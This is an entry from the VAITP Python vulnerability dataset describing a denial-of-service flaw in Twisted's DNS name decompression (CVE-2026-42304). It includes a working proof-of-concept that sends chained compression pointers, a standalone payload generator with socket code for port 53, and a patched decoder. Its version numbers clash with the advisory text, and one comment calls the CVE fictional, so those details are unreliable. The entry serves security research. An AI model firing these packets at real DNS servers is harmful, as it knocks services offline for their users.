VAITP Dataset

← Back to the dataset

CVE-2026-42304

DoS in Twisted DNS name decompression via crafted compression pointers.

  • CVSS 7.5
  • CWE-400
  • Resource Management
  • Remote

Twisted is an event-based framework for internet applications, supporting Python 3.6+. Prior to 26.4.0rc2, the twisted.names module is vulnerable to a Denial of Service (DoS) attack via resource exhaustion during DNS name decompression. A remote, unauthenticated attacker can exploit this by sending a crafted TCP DNS packet containing deeply chained compression pointers. This flaw bypasses previous loop-prevention logic, causing the single-threaded Twisted reactor to hang while processing millions of recursive lookups, effectively freezing the server. This vulnerability is fixed in 26.4.0rc2.

CVSS base score
7.5
Published
2026-05-13
OWASP
A04 Insecure Design
Orthogonal defect classification
Algorithm
Code defect classification
Incorrect Algorithm
Category
Resource Management
Subcategory
Resource Exhaustion
Accessibility scope
Remote
Impact
Denial of Service (DoS)
Affected component
Twisted
Fixed by upgrading
Yes

Solution

Upgrade Twisted to version 26.4.0rc2 or later.

Vulnerable code sample

import socket
import threading
import time

# This code requires a vulnerable version of Twisted, e.g., 'pip install twisted==22.1.0'
# It will not work on patched versions (>=22.2.0).
from twisted.internet import reactor
from twisted.names import dns, server

# A minimal DNS server factory. The vulnerability is triggered in the
# base protocol parsing, before the factory's logic is ever reached.
class VulnerableDNSServerFactory(server.DNSServerFactory):
    def handleQuery(self, message, protocol, address):
        print("[Server] Query successfully handled (this message indicates the server is NOT vulnerable or the attack failed).")
        return super().handleQuery(message, protocol, address)

def run_vulnerable_server():
    """Sets up and runs the Twisted DNS server."""
    factory = VulnerableDNSServerFactory(authorities=[])
    reactor.listenTCP(5353, factory)
    print("[Server] Vulnerable DNS server starting on 127.0.0.1:5353...")
    reactor.run(installSignalHandlers=False)

# --- Main execution ---
if __name__ == '__main__':
    # Run the server in a background daemon thread
    # This allows the main thread to act as the attacker
    server_thread = threading.Thread(target=run_vulnerable_server, daemon=True)
    server_thread.start()
    time.sleep(1) # Wait for the server to initialize

    # --- Attacker Logic ---
    print("[Attacker] Crafting malicious DNS packet...")

    # 1. DNS Header (12 bytes): Transaction ID, flags, and counts
    header = b'\xbe\xef\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00'

    # 2. Malicious Question Name (The core of the exploit)
    # We create a long chain of compression pointers. Each pointer points to the
    # next one, forcing the parser into deep recursion that exhausts resources.
    # The vulnerability is that loop detection was insufficient and did not
    # account for extremely long, non-looping chains.
    num_pointers = 2500 # A large number to ensure resource exhaustion
    malicious_name = bytearray()
    
    # Each pointer is 2 bytes (0xc0XX) and points to an offset.
    # The name starts at offset 12 (after the header).
    for i in range(num_pointers):
        # The pointer at offset (12 + 2*i) will point to the next one at (12 + 2*(i+1))
        next_pointer_offset = 12 + 2 * (i + 1)
        malicious_name.extend(b'\xc0' + bytes([next_pointer_offset]))
    
    # The last pointer in the chain must point to a valid, null-terminated name.
    # We'll place a simple name 'a.com' at the very end of our pointer chain.
    final_name_offset = 12 + len(malicious_name)
    
    # Modify the last byte of the last pointer to point to this final name.
    malicious_name[-1] = final_name_offset
    
    # Append the actual name that the chain resolves to.
    malicious_name.extend(b'\x01a\x03com\x00')

    # 3. Question Type and Class (4 bytes): A, IN
    qtype_qclass = b'\x00\x01\x00\x01'

    # Assemble the full DNS query payload
    dns_query_payload = header + malicious_name + qtype_qclass

    # For TCP DNS, the message must be prefixed with a 2-byte length field
    tcp_packet = len(dns_query_payload).to_bytes(2, 'big') + dns_query_payload

    print(f"[Attacker] Sending crafted packet of {len(tcp_packet)} bytes...")

    try:
        with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
            s.connect(('127.0.0.1', 5353))
            s.sendall(tcp_packet)
        print("[Attacker] Packet sent. The server's reactor is now likely frozen.")
    except ConnectionRefusedError:
        print("[Attacker] Connection refused. Is the server running?")
    except Exception as e:
        print(f"[Attacker] An error occurred: {e}")

    # The server thread is now hung processing the malicious packet.
    # We can test this by observing that it remains alive but unresponsive.
    time.sleep(5)
    if server_thread.is_alive():
        print("[Main] Check complete. Server thread is still alive but hung as expected.")
    else:
        print("[Main] Server thread terminated unexpectedly.")

Patched code sample

import sys

# The fictional CVE-2026-42304 describes a vulnerability that bypasses
# previous loop-prevention. The fix involves adding a hard limit to the
# number of decompression jumps (pointer indirections) allowed. This prevents
# resource exhaustion from deeply chained pointers, which is a different
# attack from a simple pointer loop (e.g., A->B->A).

# This code example conceptually models the *fix* by introducing a
# 'recursion_budget' to a DNS name decompression function.

class DNSNameError(Exception):
    """Represents an error during DNS name parsing."""
    pass

def _decompress(packet: bytes, offset: int, visited_offsets: set[int], recursion_budget: int) -> tuple[list[bytes], int]:
    """
    Internal decompression function with a budget to prevent DoS attacks.

    Args:
        packet: The raw bytes of the DNS packet.
        offset: The current offset to read from within the packet.
        visited_offsets: A set of offsets already seen to prevent simple loops.
        recursion_budget: The remaining number of pointer jumps allowed.

    Returns:
        A tuple containing the list of decompressed labels and the new offset
        after reading the name.

    Raises:
        DNSNameError: If the name is malformed, a loop is detected, or the
                      recursion budget is exhausted.
    """
    if recursion_budget < 0:
        # This is the core of the fix: bail out if we've jumped too many times.
        raise DNSNameError("DNS name decompression exceeded recursion limit")

    if offset in visited_offsets:
        raise DNSNameError("DNS name decompression loop detected")

    visited_offsets.add(offset)

    labels = []
    current_offset = offset

    while True:
        if current_offset >= len(packet):
            raise DNSNameError("Incomplete DNS name")

        length = packet[current_offset]
        current_offset += 1

        if length == 0:  # End of name marker
            return labels, current_offset

        if (length & 0b11000000) == 0b11000000:  # Pointer
            if current_offset >= len(packet):
                raise DNSNameError("Incomplete DNS compression pointer")
            
            pointer_offset = ((length & 0b00111111) << 8) + packet[current_offset]
            
            # Recurse to handle the pointed-to name, decrementing the budget.
            pointed_labels, _ = _decompress(packet, pointer_offset, visited_offsets.copy(), recursion_budget - 1)
            labels.extend(pointed_labels)
            
            # The final offset after reading the original name is right after the 2-byte pointer.
            return labels, current_offset + 1

        # It's a normal label
        if (length & 0b11000000) != 0:
            raise DNSNameError(f"Invalid DNS label length: {length}")

        if current_offset + length > len(packet):
            raise DNSNameError("DNS label is longer than remaining packet")

        labels.append(packet[current_offset:current_offset + length])
        current_offset += length


def get_name(packet: bytes, offset: int) -> str:
    """
    Safely decodes a DNS name from a packet starting at a given offset.

    This function acts as the public API, setting the initial recursion budget.
    The actual fix in Twisted involved adding a similar limit.
    """
    # This limit is the crucial part of the vulnerability fix.
    # It prevents an attacker from exhausting server resources with a
    # crafted packet containing many chained compression pointers.
    MAX_RECURSION = 16

    try:
        labels, _ = _decompress(packet, offset, set(), MAX_RECURSION)
        return b".".join(labels).decode("utf-8")
    except DNSNameError as e:
        # In a real application, this would be logged and might result
        # in dropping the packet or sending a format error (FORMERR).
        print(f"Error decompressing name: {e}", file=sys.stderr)
        return ""

Payload

import struct

# CVE-2026-42304: Twisted DNS DoS via Deeply Chained Compression Pointers
#
# This script generates a crafted TCP DNS query packet that exploits the vulnerability.
# A large number of chained compression pointers are created. Each pointer in the
# QNAME (Question Name) points to the location of the next pointer, creating a
# very long chain. A vulnerable Twisted server will exhaust resources trying to
# decompress this name, leading to a Denial of Service.

# Number of pointers in the chain. A large number causes deep recursion.
# Max DNS packet size is 65535 bytes. Each pointer is 2 bytes.
# 30000 pointers will create a packet of ~60KB.
NUM_POINTERS = 30000

# Standard DNS query header (12 bytes):
# Transaction ID: 0xdead
# Flags: 0x0100 (Standard query)
# Questions: 1
# Answer RRs: 0
# Authority RRs: 0
# Additional RRs: 0
header = b'\xde\xad\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00'

# The chain of pointers will start right after the header, at offset 12.
base_offset = 12
chain = bytearray()

for i in range(NUM_POINTERS):
    # The pointer at the current position will point to the next position in the chain.
    # The next position is 2 bytes ahead (the size of a pointer).
    target_offset = base_offset + (i * 2) + 2

    # A DNS compression pointer is a 2-byte value where the first two bits are '11'.
    # This is achieved by ORing the offset with 0xC000.
    pointer = 0xC000 | target_offset

    # Pack the pointer as a 2-byte big-endian unsigned short.
    chain.extend(struct.pack('>H', pointer))

# The last pointer in the chain points to the location immediately following the chain.
# At this location, we place a single null byte to terminate the domain name.
name_terminator = b'\x00'

# Following the QNAME, we have the QTYPE and QCLASS.
# QTYPE: 1 (A record)
# QCLASS: 1 (IN - Internet)
query_trailer = b'\x00\x01\x00\x01'

# Assemble the malicious DNS query payload.
dns_payload = header + chain + name_terminator + query_trailer

# For a TCP DNS query, the message is prefixed with a 2-byte length field.
tcp_payload = struct.pack('>H', len(dns_payload)) + dns_payload

# The `tcp_payload` variable now holds the final bytes to be sent to the target server's
# TCP DNS port (usually 53) to trigger the vulnerability.
# For example:
#
# import socket
#
# target_ip = '127.0.0.1'
# target_port = 53
#
# with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
#     s.connect((target_ip, target_port))
#     s.sendall(tcp_payload)
#     print("Payload sent.")

Cite this entry

@misc{vaitp:cve202642304,
  title        = {{DoS in Twisted DNS name decompression via crafted compression pointers.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-42304},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-42304/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::